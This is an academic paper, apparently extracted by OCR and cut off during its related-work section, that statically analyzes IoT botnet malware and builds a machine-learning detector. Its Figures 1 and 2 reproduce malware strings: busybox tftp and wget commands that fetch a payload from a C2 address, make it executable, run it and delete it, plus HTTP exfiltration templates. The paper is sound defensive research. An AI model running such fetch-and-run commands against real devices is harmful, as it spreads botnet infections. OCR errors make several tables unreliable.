®

Check for
updates

Statically Dissecting Internet of Things
Malware: Analysis, Characterization,
and Detection

Afsah Anwar!®™) | Hisham Alasmary!, Jeman Park', An Wang?,
Songqing Chen?, and David Mohaisen! ()

1 University of Central Florida, Orlando, FL 32816, USA
{afsahanwar ,hisham,parkjeman}@knights.ucf.edu,
mohaisen@ucf.edu
2 (Case Western Reserve University, Cleveland, OH 44106, USA
axw474Qcase.edu
3 George Mason University, Fairfax, VA 22030, USA
sqchen@gmu. edu

Abstract. Software vulnerabilities in emerging systems, such as the
Internet of Things (IoT), allow for multiple attack vectors that are
exploited by adversaries for malicious intents. One of such vectors is
malware, where limited efforts have been dedicated to IoT malware
analysis, characterization, and understanding. In this paper, we analyze
recent [oT malware through the lenses of static analysis. Towards this,
we reverse-engineer and perform a detailed analysis of almost 2,900 IoT
malware samples of eight different architectures across multiple analy-
sis directions. We conduct string analysis, unveiling operation, unique
textual characteristics, and network dependencies. Through the control
flow graph analysis, we unveil unique graph-theoretic features. Through
the function analysis, we address obfuscation by function approximation.
We then pursue two applications based on our analysis: 1) Combining
various analysis aspects, we reconstruct the infection lifecycle of various
prominent malware families, and 2) using multiple classes of features
obtained from our static analysis, we design a machine learning-based
detection model with features that are robust and an average detection
rate of 99.8%.
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1 Introduction

The increasing acceptance of IoT devices by end users has been paralleled with
their increased susceptibility to attacks. Adversaries exploit software on IoT
devices to gain control over them, and create large botnets for launching synchro-
nized attacks [7,18,22,23]. Recently, Mirai, a prominent IoT botnet, recorded
an attack traffic of 620 Gbps [26]. These new adversarial capabilities associated
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with IoT insecurity necessitate efforts for understanding IoT malicious software,
through an in-depth analysis, characterization, and detection.

There has been an increasing number of studies on IoT malware analysis,
although the literature is mainly focused on Mirai analysis [20], due to the diffi-
culty of obtaining other IoT malware and the public availability of Mirai’s source
code. Other prior works have proposed mechanisms for detection by using fea-
tures generated from malware binaries transformed into images [27], by using
features from mobile-applications of IoT devices [6], or by drawing parallels
from Android malware [15,21]. These studies are limited because of not using
IoT malware (specific to embedded devices), being narrowly focused on a small
number of samples, or by being limited in their analysis approaches—see Sect.5
for details.

Motivated by these shortcomings, we utilize program analysis techniques over
a large number of IoT malware samples to understand their artifacts. Program
analysis used for malware analysis include both static and dynamic approaches.
The dynamic analysis approach requires executing the malware in a sandboxed
environment. While comprehensive, the dynamic analysis approaches suffer from
a limited scalability and a significant run time. On the other hand, static analysis
relies on extracting artifacts from the contents of the binaries, such as strings,
without executing them [13]. We utilize the latter approach for our analysis.

Summary of Findings. Our strings analyses (Sect. 3.1) reveal the operational
and textual characteristics, as well as network dependencies. From these strings,
we report the presence of shell commands, the use of cuss words, as well as
network-related artifacts. Shell commands provided us insights into the steps
that botnets follow for operation, their propagation strategies, and transport
protocols. The cuss words hinted at specific content-based characteristics, while
the network artifacts show the propagation metrics of the botnets. By analyzing
the control flow graph of each IoT malware sample (Sect. 3.2), we also extract
graph-theoretic features and found that those features correspond to tight graphs,
highlighting a shift in IoT malware structure from other related malware, such
as Android. Moreover, the host dependency graph analysis unveiled that a single
host can be part of multiple infections. Finally, through port analysis, we were
able to enumerate the prevalence of non-standard ports that could be blocked
to mitigate attacks. Function-level analysis (Sect.3.3) unveils useful informa-
tion about the operation of IoT botnets based on the public GNU libraries and
standard functions they use. Noting that functions are a major avenue for obfus-
cation for evasion, we explore deobfuscation by manually visualizing candidate
functions to approximate the main function based on the control flow graph
similarity.

Contributions. In this paper, we make three major contributions. 1. We char-
acterize a set of recent IoT malware samples by analyzing their artifacts obtained
from static program analysis techniques (Sect.3). The different generated arti-
facts are utilized to understand the theoretic, lexical, and semantic significance
of samples. En route, we address various challenges, including obfuscation via
function approximation; by visualizing the functions for the samples with an
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obfuscated main function, we approximate the hidden main function to allow
the analysis of obfuscated samples. 2. We propose two security operation appli-
cations of our analysis: malware life-cycle reconstruction and automated malware
detection using machine learning (Sect.4). First, using four classes of features
(meta-data, graph, functions, and strings), we design and evaluate an ML-based
detection system, which provides a high accuracy rate of ~99.8%. Second, by
analyzing the various components of string and graph features, we reconstruct
the infection, propagation, and the attack strategy of IoT botnets, exemplified by
three case studies — Mirai, Tsunami, and Gafgyt (delegated to the appendix for
the lack of space). The dataset and codes will be made public for benchmarking.

Organization. This paper is organized as follows. We describe our dataset,
samples characteristics, and methodology in Sect.2. We statically analyze the
malware samples using various techniques in Sect. 3. In Sect. 4, we explain our
benign dataset, the ML algorithms used, features, and also present results of
detection. We then visit the literature, independent research published in the
literature, discuss our results, and compare them to prior work in Sect.5. We
conclude our study in Sect. 6. The lifecycle reconstruction is in the appendix.

2 Dataset and Methodology

2.1 Dataset

We acquired a dataset of 2,899 mal- muple 1. Distribution of malware by
ware samples from [oTPOT [24], a hon- grchitecture.

eypot emulating IoT devices. IoTPOT Arch Malzar(;l

implements vulnerable services, such as MBS 600 2(6.69%
telnet, distributed over different coun- ARM| 668 |23.04%
tries [17]. Tablel shows the samples {51?3806 B ;5;21;)%
distribution across architectures (SPR: X86 | 250 [8.62%
SPARC, SH: Renesas SH, PPC: PowerPC, es | oy |30k
M68: Motorola m68k, I-386: Intel 80386, SPR | 212 |7.33%
and x86: x86-64). We note that samples Total | 2,899 ]100%

for ARM and MIPS architectures make up

~44% of the dataset, and while ARM has the most samples, Motorola SPARC
has the least. Also, the dataset has only 253 samples with 64-bit architectures,
while the remaining 2,646 are 32-bit samples. Samples in our dataset range in size
from 1 kilobyte—a sample first scanned on February 26, 2018—to 2.4 megabytes.

Samples Age. We observed that the malware samples in our dataset were first
seen in VirusTotal [10] between May 17, 2017 and March 2, 2018, with only
2.96% of samples in 2017. Moreover, we observed that the samples exhibit a low
detection rate, i.e., between 0% and 67.35%, and a positive correlation of 0.14
between the total scanners and the positive detection rate.

Malware Families. Using the scan results from VirusTotal and AVClass [25],
which consolidates VirusTotal labels, we assigned known family names to each
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malware sample depending on a majority voting. As a result, our samples rep-
resent seven malware families, with 2,609 out of 2,899 belonging to the Gafgyt
family, which is perhaps explained by its long relative history. Additionally, the
dataset contains 185 Mirai, 64 Tsunami, 7 Hajime, and 32 Singleton samples
(malware that do not have definite family name by majority count). On the
other hand we observe only one sample for each of Lightaidra and IRCbot, and
we include them for the completeness of our analysis.

2.2 Methodology

Static Analysis. We analyzed each of the malware samples in our dataset to
uncover their lexical, syntactic, and semantic features and to understand their
functionality using strings and disassembled codes. Using this information, gen-
erated by automating the reverse-engineering of each sample, we identify various
artifacts for analysis. Embracing an open-source approach, we used Radare2 to
manually inspect a few malware samples per architecture before scaling-up the
analysis using Radare2’s API. We analyzed the strings, flags, jumps, calls, func-
tions, and disassembly to understand samples functionality and behavior.

Challenges. To protect against software piracy, programmers employ obfusca-
tion techniques. Malware authors also employ obfuscation by packing although
to hide portions of the binary and to prevent its analysis and reverse-engineering.
Packers can be of two types, 1. Standard packers are the software packers, either
proprietary or freeware, that declare their identification. For example, Ultimate
Packer for eXecutables (UPX) is a freeware packer that compresses an executable
with a decompression code such that the compressed executable decompresses
itself during the run-time. Out of the 2,899 samples, only ten samples (~0.35%)
were identified as UPX-packed. 2. Custom Packers are used by malware authors
to evade deobfuscation with standard packers. The custom packers may include
a novel packing or further packing of a standard packer-packed malware, such
that it is challenging to deobfuscate, if not undetectable. We identify 227 sam-
ples (=7.83%) that have less than ten functions. Among them, 25 samples did
not have any function and are classified by AVClass as Singleton.

For the samples that do not have a main (but have a substantial number of
functions), we analyze their control flow graph and compare it with the CFG of
the ones that have a main function. We notice that their main functions can be
identified for 299 out of 468 such malware samples.

3 Statically Analyzing IoT Malware

For each sample, we began by analyzing its entry-point and the function calls.
We also performed a type-match analysis of all functions for all architectures,
except for the SH architecture, which causes a segmentation fault (total of 233
samples or ~8%). In the rest of this section, we describe different attributes and
artifacts of static analysis, such as strings, control flow graphs, and functions.
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3.1 String Analysis

For a malware binary, strings are sequences of the printable characters of the
binary contents, and reveal valuable information about its contents and seman-
tics (capabilities). We analyze the strings obtained from each malware sample to
gain insight into the strategy employed by the malware authors, and to exam-
ine its potential as a modality for malware detection. Leveraging the stings, we
identify their offset, followed by disassembly at that offset. The disassembly of
the offset is then analyzed to understand the functionality of the code. Upon
our analysis, we found various details about the malware execution, e.g., creden-
tials, communication protocols, attack propagation, Command and Control (C2)
servers, target IP addresses, and port numbers. Our analysis also revealed that
different families have similar targeted sensitive information (user credentials),
infection, propagation, and attack strategies (explained by shell commands).

Shell Commands. [oT devices use a compressed form of libraries, such as Busy-
box, to attain Linux shell capabilities for configuration and operation. Malware
authors abuse the shell on those devices to implement the malware life cycle:
infection, propagation, and attack. From our analysis, we observed that malware
samples, such as Mirai, use the shell to launch a dictionary attack using a list of
frequently-used or default credentials to gain access to devices. The presence of
strings, such as root, admin, and 12345 in our analysis is used as a cue of those
dictionary attacks. If successful, the malware then attempts to traverse differ-
ent directories followed by downloading malware script or sending or exfiltrating
information, as can be seen in the script snippet in Fig. 1.

POST / HTTP/1.1 Host: %s:%d Content-Length: %d
Accept:text/html, application/xhtml+xml,
application/xml;g=0.9, image/webp,*/\*; g=0.8 User—Agent:
%s cookie: %s Content-Type:
application/x-www—form-urlencoded Connection: close g=%s

Fig. 1. Snippet of information exfiltration.

We uncover the propagation strategies by analyzing the shell commands.
Figure 2 lists a variety of shell commands used for infection propagation or for
obtaining files from a C2 or a dropzone. The use of access permissions and anony-
mous commands, as seen in strings such as chmod, Upgrade-Insecure-Requests,
anonymous ftpget, uncover the usage strategy of the adversary on the devices and
for communication. Our analysis also unveils various commands to remove the
residual binaries and scripts stored in the file system, perhaps to evade detection
through file system scans, as shown in Fig. 2. In this figure, the first command
changes the directory, followed by executing one of two commands, each pulling
a file from a C2 using TFTP, using busybox, and then changing access permis-
sions of the downloaded file. On the other hand, the second command downloads
an application from the C2 using HT'TP 1.1. The third command downloads a
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cd %$s && (/bin/busybox tftp -g -r 81c46/81cd46.%s %u.%u.%u.%u ||
/bin/busybox tftp —-g —f 81c46/81c46.%s %u.%u.%u.%u) &&

/bin/busybox chmod 777 %s/81c46036.%s

GET /%s HTTP/1.l1 Host: %s Accept: text/html,
application/xhtml+xml, application/xml;
g=0.9, image/webp, */\*;g=0.8 User—-Agent: Mozilla/5.0
(Windows NT 6.1;WOW64) AppleWebKit/ 537.36 (KHTML, like
Gecko) Chrome/ 41.0.2272 Safari/537.36 Content-Type:
application/x-www— form-urlencoded Connection: keep-alive

cd /tmp; wget 45.76.131.35 /cuntytftp -O phone; chmod 777
phone; ./phone; rm —-rf phone

Fig. 2. Shell commands initiating host infection. Note the last command attempts to
remove traces from file system.

file (notice the cuss word in the file name) in the ¢tmp directory, executes it, and
finally removes the downloaded files to evade detection.

Special Words. In the software development communities, jargons are pre-
dominant, and are used in comments as well as in naming variables, which moti-
vated us to study jargons (special words) in the residual strings from our static
analysis to understand them as artifacts and as a lightweight detection feature.
Through our initial manual analysis, we observed that almost all analyzed sam-
ples contained cuss words in their strings. To automate analysis and quantify the
prevalence of cuss words in strings, we created a list of 2,200 cuss words by com-
bining a widely used list of offensive and profane words [14] and public websites
and mailing lists. We observed that ~97% of the samples contained at least one
of these words. For a conservative analysis, we eliminated words with multiple
meanings from our list—e.g., context overtone, such as execution, threeway, fail,
attack. As a result, we removed 150 words, and limited our list to strictly abusive
words, which reduced the number of malware samples that contain such words
to 92% in their strings, highlighting the significant prevalence of these words.

IP Analysis. Generally, malware communicate with two different types of IP
addresses that may appear in their code. 1. Malware communicate with C2
servers for instructions, such as lists of potential targets, updated binaries, execu-
tion steps, etc. Moreover, an adversary may also exfiltrate information extracted
from the infected hosts. In our analysis, we found that such IP addresses can be
identified by associated command keywords, such as wget, TFTP, POST, and
GET. We designated them as dropzone IP addresses. 2. Malware also com-
municate with IP addresses to be infiltrated. Successful infiltration leads to the
propagation of the malware by recruiting additional bots. We call them target
IP address, our analysis uncover a large number of targets encoded in the bina-
ries of the malware samples. In our analysis, all IP addresses obtained from the
strings that did not qualify as dropzones were labeled as targets.
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Fig. 3. Figure3(a): Dropzone IP and their possible target IP. A single Dropzone IP
attempts to infect multiple target IPs. Figure 3(b) shows top 28 ports in the samples.
The top two ports are 23 and 666, which appear 992 and 226 times, respectively.

From our analysis, we observed that while the target IPs are associated with
a dropzone, they can be shared between dropzones, leading to a shared target
selection phenomenon. Alternatively, a device can be attacked by multiple drop-
zone IPs, leading to the probable interdependence between malware families
their infections, and associated propagation pattern. An illustration (from our
analysis) is shown in Fig.3(a), which visualizes three sample dropzone IPs in a
network with their corresponding target IPs, highlighting a clear hierarchy.

Next, we consider visualizing addresses locations for affinity analysis. We
notice that malware samples mask IP addresses encoded into their strings for
multiple reasons, including efficiency and evasion. In our analysis we observed
two masking patterns. 1. Malware samples that mask the last two octets of the
IP addresses (/16), e.g., 13.92.%d.%d. When visualizing the location of those
addresses, we used the network address of the /16 network (i.e., 13.92.1.1). 2.
Malware samples that fully mask addresses, e.g., %d.%d.%d.%d. We discard
those addresses from further analysis, for the lack of sufficient information.

Utilizing the API service of ipinfo.io, we automated the collection of IP
details for the dropzones and the targets to visualize them on the world map.
Figure4(a) shows the geographical heat map of the dropzone IP addresses and
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Fig. 4. Figure4(a) shows country origin of dropzone IPs and Fig. 3(b) shows target
countries as per future infected IPs
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Table 2. Number of samples by architecture and TANA defined port type. D/P: to
Dynamic/Private.

Arch Known | Percentage | Registered | Percentage | D/P | Percentage
MIPS 433 | 72.16% 234 39.00% 10 | 1.66%
ARM 417 162.42% 145 21.70% 4 10.59%
1-386 321 | 71.49% 109 24.27% 3 10.66%
PPC 198 | 73.33% 94 34.81% 5 |1.85%
X86 184 | 73.60% 67 26.80% 4 11.60%
SPR 174 | 82.07% 61 28.77% 2 0.94%
M68k 172 | 79.26% 57 26.26% 2 10.92%
Overall | 1,899 |65.50% 767 26.45% 30 | 1.03%

Fig. 4(b) shows the heat map for the targets. Overall, we observed 1,761 unique
IPs in 34 countries, forming the dropzones attempting to infect 2,190 distinct
IPs from 78 countries. While most of the dropzone IPs originate from the United
States, most targeted IPs map to China. By clustering the target IP addresses by
their source (C2), we observed shared targets among different dropzones, which
could be due to shared vulnerabilities within these targets allowing for multiple
infections by different malware samples and families. Exploring this possibility
requires a causal analysis, which we leave as a future work.

Port Numbers. Another essential artifact we statically analyze is port num-
bers. Port numbers identify active services on hosts and are the gateway for
attacks and infection. Port numbers uniquely identify a network-based applica-
tion, and are shared among different applications (running on different trans-
port protocols) to share network resources. Port numbers can be assigned auto-
matically by the OS, assigned as default by popular applications, or assigned
manually by users. For an incoming message, an IP address identifies the host
while the port number identifies an application on that host. Typical popu-
lar applications have standard assigned port numbers, while other ports are
unallocated and are free to be used by the users— the Internet Assigned Num-
bers Authority (IANA) [16] designates port numbers as well-known, registered,
and dynamic/private ports. Adversaries may use certain port numbers to evade
detection by firewalls.

We analyzed the port numbers used most by the malware samples by first
categorizing them according to the category designation by TANA. Figure 3(b)
visualizes the distribution of the most prevalent port numbers appearing in our
dataset. We observe the TCP/UDP ports of 23, 666, and 443 as the three most
frequently used. Table 2 also lists the overall distribution of these ports across
architectures targetted by the malware samples, and we notice that ~66% of the
malware samples used well-known ports for their transportation, while 27.4%
of them used registered or dynamic/private. Interestingly, 27.4% of samples
used port 48101, which is utilized by Mirai to carry out a DoS attack using
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Table 3. Graph Details by architecture and family. Tot: total samples with generated
graphs, Perc.: percentage, Av.#N.: Average number of nodes, Av.#E.: Average number
of edges, Av.SP: Average shortest path, Av.D.: Average density, Fam.: Family, Gfgt:
Gafgyt, Miri: Mirai, Tsn: Tsunami, Him: Hajime, Sing: Singleton, Lght: Lightaidra,
I-B: IRCbot

Arch | Tot | Perc. Av.#N. | Av.#E. | Av.SP |Av.D. ||Fam. | Tot Perc. Av.#N. | Av.#E.|Av.SP |Av.D.
ARM | 665 |99.55% | 64.13 96.66 |8.89 0.02 Gfgt | 2,609 [100% 54.25 80.87 |7.55 0.03
MIPS | 578 |96.33% | 59.62 89.86 |8.26 0.14 Miri 185 [100% 39.25 58.81 |4.21 0.28
1-386 | 449 |100% 68.82 |103.86 |9.61 0.02 Tsn 64 |100% 44.78 64.31 |5.77 0.03
PPC |270|100% 65.35 98.50 |9.00 0.02 Hjm 7 1100% 3.00 3.00 |0.66 0.50
X86 |250|100% 53.73 78.43 |7.86 0.02 Sing 7 121.87% 5.57 6.85 |0.43 0.01
SH 233 100% 43.24 58.96 |4.80 0.03 Lght 1 [100% 62.00 93.00 |9.37 0.02
M68k | 217 |100% 1.00 0.00 |0.00 0.00 I-B 1 /100% 17.00 25.00 |3.70 0.09
SPR |212|100% 11.45 15.99 |0.49 0.02 Bngn 276 [100% 60.90 90.80 |3.18 0.09

TCP flooding. By carefully examining each port in the IANA list of port num-
bers, we found what applications run on top of these ports, and complied a
list of port numbers that can be blocked, given that they are unused/abused.
Such port numbers widely used by malware samples include (ordered list):

— 5888 — 44824 — 50404 - 61235 - 11023 — 6942
— 22322 — 7832 — 24244 — 65535 — 33024 — 12340
— 4574 - 5017 — 48101 — 65422 — 32676 - 7773
— 55555 - 9969 — 2048 — 65500 — 12378 — 20411
— 7942 — 13174 — 8965 — 19241 — 20669 — 31293
— 48101 — 7373 — 5001 — 6892 — 25566 — 2378

3.2 Control Flow Graphs Analysis

An important modality for analyzing and detecting malware is their graph prop-
erties. For this analysis, we represent the disassembled codes as basic blocks
based upon the jumps, branches, references, etc. and the calls among them as a
call flow graph (CFG), and explore their properties. For this analysis, the aver-

age shortest path is calculated as, a = Zs,tGV n‘é(rffi), where V is the set of
nodes in the graph, d(s,t) is the shortest path from s to ¢, and n is the number
of nodes. This property represents the average shortest path between the entry
point (entry0) and the end of the malware program. The density of a graph is
calculated as, d = %, where m is the number of edges and n is the number
of nodes, and we calculate the average density across graphs for the same archi-
tecture. The fraction of the number of edges out of the total number of possible
edges represents the compactness of the CFG.

Table 3 shows a representation of the graphs, multiple graph-theoretic fea-
tures, sorted by architecture and family. For this analysis, we calculate the aver-
age shortest path of each of the graphs with an edge weight of 1. From those
results, we notice that the graphs vary in size and graph theoretic properties
(sometimes significantly) across architectures, although universally have small
density. They also generally have a relatively long shortest path, and a relatively

similar number of nodes and edges, which are distinct features of IoT malware.
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Table 4. Additional Static Analysis Details by Architecture. R: Reversed, CA: Cross
Architecture (samples that have other architecture names in their strings). Others are

in Table 2. Tuples mean: (# of samples, x100 %)

Arch./Fam.|R UDP TCP HTTP CA Graph
ARM (668, 1) |(164, 0.24)|(151, 0.22) (506, 0.75) |(528, 0.79)| (665, 0.99)
MIPS (600, 1) | (116, 0.19) | (114, 0.19) | (455, 0.75) | (336, 0.56) | (578, 0.96)
1-386 (449, 1) [(99, 0.22) |(93,0.2) (326, 0.72) |(346, 0.77)| (449, 1)
PPC (270, 1) | (67, 0.24) | (60, 0.22) |(203, 0.75) | (213, 0.78) (270, 1)
X86 (250, 1) | (52, 0.20) |(47, 0.18) |(189, 0.75) | (193, 0.77)| (250, 1)
SH (233, 1) (0, 0.00) |(0,0.00) [(3,0.01) |(1,0.01) |(233, 1)
M68 (217, 1) | (49, 0.22) |(47,0.21) |(173, 0.79) | (170, 0.78)| (217, 1)
SPR (212, 1) | (49, 0.23) |(45,0.21) |(170,0.8) | (168, 0.79)| (212, 1)
Gafgyt (2,609, 1)| (573, 0.21) | (540, 0.20) | (1840, 0.70) | (965, 0.36) | (2,609, 1)
Mirai (185, 1) [(1,0.01) |(2,0.01) |[(159,0.85) |(1,0.01) (185, 1)
Tsunami | (64, 1) (22, 0.34) |(15,0.23) |(26,0.40) |(13,0.20) | (64, 1)
Benign | (276, 1) |(0, 0.00) |(0,0.00) |(0,0.00) [(0,0.00) |(276, 1)

We report that we were not able to extract graphs for three malware samples
for ARM and 22 samples for MIPS, all of which belonged to the Singleton family
and had no observable function information, meaning that it packs even its entry
function thus concealing every instruction in its disassembly. By correlating them
with architecture-based analysis, we could extract graphs for seven out of the 32
malware belonging to the Singleton family.

3.3 Functions Analysis

The functions, whether a library or non-library, impart intuitions about the
functionality of malware, e.g., memory allocations, signal handling, obtaining
IP addresses, etc. Libraries in our analysis refer to GNU standard libraries that
malware samples use for standard functions, such as signal handling and mem-
ory allocation, while non-libraries are custom functions defined by users. In our
analysis, we noticed that about 7% of the samples do not have main function,
and further analysis shows the presence of malware that rename their functions,
including main, with random names. We address this obfuscation in as follows.

Function Approximation. About 7% of the analyzed samples do not have the
main function, and for those samples we manually examined the disassembled
code in search for information the code may reveal despite obfuscation.
Typically, a program does the data loading before starting with the main. As
such, we begin by observing the functions from the entry-point, and moved across
functions successively, starting from this entry-point. We traversed through the
different functions starting offset and observed the disassembled code and the
CFG generated from it. We compared the generated graph from each function
(manually) with the CFG from the main of samples that have a main func-
tion, and observed a probable function that resembles the reference graph of the
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Table 5. Static Analysis Details by Architecture. NM: No main, ND: No Data, NL:
No Load, NT: No Text, CW: Cuss Words, DZ: Dropzone IP, TI: TargetIP, SC: Shell
Command, OS: Obfuscated Strings, OF: Obfuscated Functions, and ' - x100%. Other
abbreviations are defined in Table 2.

Arch |NM ND NL NT CW Dz TI SC oS OF

# % # (% % # (% # |%# (% % (% # (% # (% # %
ARM | 40 [0.05| 16 |0.02 0.00| 16 |0.02/600 |0.89(569 |0.85|599 |0.89(649 |0.97| 16 |0.02| 13 |0.01
MIPS|105 |0.17| 40 |0.07 0.01| 38 |0.06/463 |0.77| 0 |0.00|460 |0.76|550 |0.91| 38 |0.06|175 |0.29
1-386 3 0.01 3 (0.01 0.01| 3 0.01|437 |0.97|419 |0.93|422 |0.93|446 |0.99| 3 |0.01| 3 |0.01
PPC | 30 |0.11| 5 |0.02 0.00| 5 0.01|263 |0.97| 0 |0.00|262 |0.97|264 |0.97| 5 |0.01 10.01
X86 35 |0.14| 1 (0.01 0.00 110.01|247 |0.98| 0 |0.00(240 |0.96(249 |0.99| 1 |0.01| O [0.00
SH 18 (0.07|230 |0.98|230 (0.98|230 |0.98| 1 |0.01| O [0.00f 0 |0.00| 3 (0.01|230 |0.98| 0 |0.00
M68k| 25 |0.11| 0 |0.00f 0 |0.00/ 0 |0.00(212 |0.97|204 |0.94|204 |0.94|216 |0.99| 0 |0.00| 25 |0.11
SPR (212 |1.00/ 0 (0.00f 0 |0.00/ 0 [0.00(205 |0.96/ 0 |0.00/207 |0.97/208 |0.98| 0 (0.00| 0 |0.00

o O w o o

Table 6. Static analysis details by family. Abbreviations are defined in Table 5, and *
represents x100%.

Fam. INM ND NL NT CW DZ TI SC OS OF

# (% |# (%t |# (% B |% #|% |#|% |# |% |# |% % (% |# (%
Gfgt|323/0.12|239(0.09(228|0.08/239/0.09/2361|0.90|1181|0.45|2335|0.89/2363(0.90|239/0.09|76 |0.02
Miri | 95[0.51/|9 0.04 (1 0.01|7 0.03|10 0.05|0 0.00(1 0.01/163 |0.88|7 0.03/105/0.56
Tsn 10/0.15(10 |0.15|10 [0.15/10 |0.15|53 0.82|11 0.14 |54 0.84 |54 0.84(10 |0.15|0 0.00

Sing | 32/1.00|29 |0.90/0 |0.00|29 |0.90|3 0.09|0 0.00|3 0.09|3 0.09/29 |0.90/29 |0.90
Hjm 7/1.00|7 1.00|/0 |0.00(7 1.00|0 0.00(0 0.00(0 0.00(0 0.00(7 1.00|7 1.00
Lght 1/0.00|0 0.00({0 [0.00/0 |0.00(1 1.00|0 0.00(1 1.00|0 0.00(0 0.00({0 |0.00
I-B 1/1.00|1 1.00/0 |0.00|1 1.00(0 0.00|0 0.00|0 0.00 0 [0.00|1 1.00(0 |0.00
Bngn 8(2.89/14 |0.05|13 [0.04|14 |0.05|0 0.00|0 0.00|0 0.00|0 0.00(0 0.00{0 |0.00

(known) main function. We repeated this experiment for ten malware samples
and were able to approximate the main function successfully for all of them. As
an illustration, Fig.6 in Appendix A.2 represents the disassembled code of the
Mirai botnet from an entry-point. In this case, and after the seventh instruc-
tion, the program branches to fen.00008190 which is a possible candidate for
the main. Although we go through all of the other functions, we concluded this
to be the main function for the analyzed sample given the similarity with the
structure obtained from the sample with the main. Note that this approximation
does not require a k x n comparisons—for k candidate main functions against n
graphs from samples with main functions—as confirmed by our analysis.

Table4, Table5, and Table6 summarize the results of our static analysis.
Table6 shows that only IRCbot samples have no string information, besides
the 25 Singleton malware samples without any visible functions. Apart from
those samples, we show in Table4 that SH samples do not have any UDP or
TCP artifacts present in their strings, as explained from Table 5, where 98.71%
of the SH samples have no data, load, and text sections, and demonstrating
the level of packing in Reseas SH malware. Additionally, we see that none of
the families among Singleton, Hajime, Lightaidra, and IRCbot have traces of
transport protocols in their strings.
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4 Malware Detection

Our static analysis uncovers a wide range of features that are not only valuable
for characterizing IoT malware, but also can be used for their detection. To
automate this detection process using those features, in this section we explore
the design and evaluation of a machine learning tool for this purpose.

Benign Dataset Curation. To train our detector, we begin by assem-
bling a dataset of benign applications. Considering the limited options, we
extracted ELF files from Linux-based WiFi router firmware, assembled from
OpenWrt.org [9], a repository for Linux-based embedded device’s firmware.
Using the attributes of analysis for malware in Tables 4, 5 and 6, we generated
the properties of the benign samples (listed in Table4 and Table6 in the last
row). From our analysis, we notice that while most of the malicious samples
contained cuss words, none of the benign samples contained such words. We also
notice that none of the benign samples is packed, with no transport protocol
information observable in their binaries. Finally, Table 3 shows that the average
number of nodes in the benign samples is more than that in any malware family.

4.1 Features, Configurations, and Classifier

Taking into account the obfuscation strategies employed by IoT malware, detect-
ing them notwithstanding obfuscation is necessary. Thus, we obtain various fea-
tures for detection, divided into five categories as follows. 1. Metadata. This
category includes the basic size features of the malware, namely the file size,
and the size of text, data, and load sections, respectively (four features in total).
2. Graph. This category includes the CFG analysis results outlined earlier,
including the number of nodes and edges, the average shortest path, etc. (11
features in total). 3. Function. This category describes the different function
names in the code. Although function names are easily obfuscated, obfuscation
techniques such as renaming can be a useful parameter to characterize malware
(145,350 initial features in total). 4. Flag. This category is a combination of
sections, strings, symbols, registers, etc. Since we observe unique characteristics
of malware and benign binaries using strings, e.g., cuss words, we expect this
section to be very discriminative (277,988 features in total). 5. All Features.
This category is a combination of all four categories (301,997 features in total).

We used the feature categories to evaluate the robustness of our classifier.
Where obfuscation is used in a sample, we found that at least one category is
capable of detecting that sample. Five different configurations were considered,
including a separate experiment for each category (and one for all combined fea-
tures). For the last three experiments, the feature dimension was huge, increasing
the training, which necessitate considering feature reduction.

Principal Component Analysis (PCA). PCA can be viewed as a linear
transformation operation on a set of zero mean correlated variables (features
in our study) into low-dimensional uncorrelated principal components (PCs),
preserving the original co-variance structure. In this work, we employed PCA to
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Table 7. Results of the IoT malware classification results using the RF classifier.

Category | Feature | Random forest

FNR | FPR | AR
Metadata | Raw 0.10 |0.50 |99.80
Graph Raw 0.80 |12.3098.20
Funcion |Raw 4.80 [8.30 |96.40
PCA 0.10 |2.10 [99.60
Flag Raw 3.20 |10.80|97.10
PCA 0.20 | 1.10 [99.70
Overall |Raw 3.50 |8.70 |96.90
PCA 0.10 |1.30 [99.80

reduce the features vector dimension while maintaining a high accuracy. Namely,
we used PCA to reduce the feature vector of each sample from ~1 x 302,000 to
1 x 1,500, thus reducing the training and prediction times significantly.

Feature Generation. In order to detect malicious IoT (ELF) malware, we used
the features discussed earlier to generate signatures. We employed text analysis
on the strings, functions, and flags sections, and used them along with the file
metadata and the graph-theoretic features for generation.

For string features, we used “bag of words” to create a feature vector for
every malware and benign sample. Our feature vector represents the number of
times the word appears in a given sample. We also considered every word in the
vocabulary, instead of selected features, because the selected features are part
of the string that we used to create our feature vector.

Random Forest (RF) Classifier. RF classifiers are typically applied in non-
linear classification tasks, where bagging is used with random feature selection
to train individual trees, allowing for a variance reduction in the output of indi-
vidual trees and addressing noisy input datasets. This in turn meets the require-
ments for our malware detection, so we select RF to demonstrate features obtain
from our analysis to discriminate between benign and malicious IoT binaries.

Settings and Metrics. We used 10-fold cross-validation to train our RF-based
classifier, and used the False Positive Rate (FPR), False Negative Rate (FNR),
and Accuracy Rate (AR) as metrics. The FPR is defined as the portion of benign
samples classified as malicious, the FNR is defined as the portion of malicious
samples classified as malicious, and the accuracy is defined as the portion of
the samples in the dataset that are correctly classified (calculated as number of
correctly labeled divided by the number of all samples).
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4.2 Results

The results are shown in Table 7 by averaging ten independent experiment runs
with different initial seeds. The results show the performance when using indi-
vidual feature category, and the overall performance. We observe that even with
code-level obfuscation, malware metadata can be still utilized to detect malware
accurately. Namely, using the metadata features is shown to produce a classi-
fication accuracy of 99.80% in correctly distinguishing malicious from benign
samples. However, we argue the other feature categories are still valuable, and
provide additional robustness even with the similar performance: given that some
features can be manipulated (e.g., metadata can be manipulated by modifying
the section information in the ELF header, to force a desired output of the clas-
sifier when using that feature), other (independent) features such as graph will
still be able to detect the manipulated sample.

5 Related Work and Discussion

Limited prior work is available on IoT malware analysis and detection. In this
section, we review the prior work related to IoT malware analysis and detection,
and the gap that this work attempt to bridge by improvements.

IoT Malware Analysis and Detection. Pa et al. [24] are among the first to
investigate [oT malware by implementing [oTPOT, a telnet based honeypot to
capture IoT malware. However, they did not consider analysis of intrinsic char-
acteristics of the collected samples. Cozzi et al. [8] performed an empirical study
of Linux malware in general for characterization, but did not study them holisti-
cally to understand their execution pattern and features from their source code
that can aid their detection. Kolias et al. [19] analyzed the Mirai botnet from a
network perspective by analyzing its DDoS attacks, and by listing the compo-
nents of the botnet and their operation and communication steps. However, this
work is network-based (dynamic), and does not consider static features.

Angrishi [4] outlined an anatomy of the IoT botnets from the network’s
perspective and did not look at the static features. Donno et al. [11] also inves-
tigated the capability of IoT malware to carry out DDoS attacks by focusing
on the functioning of the Mirai malware. Additionally, Antonakakis et al. [5]
analyzed the network artifacts of the Mirai botnet and showed the ability of the
botnets to target the security-deficient low-end IoT devices. While these studies
analyzed network artifacts, they do not study the code-based features. They are
also limited by the number of malware families they analyze.

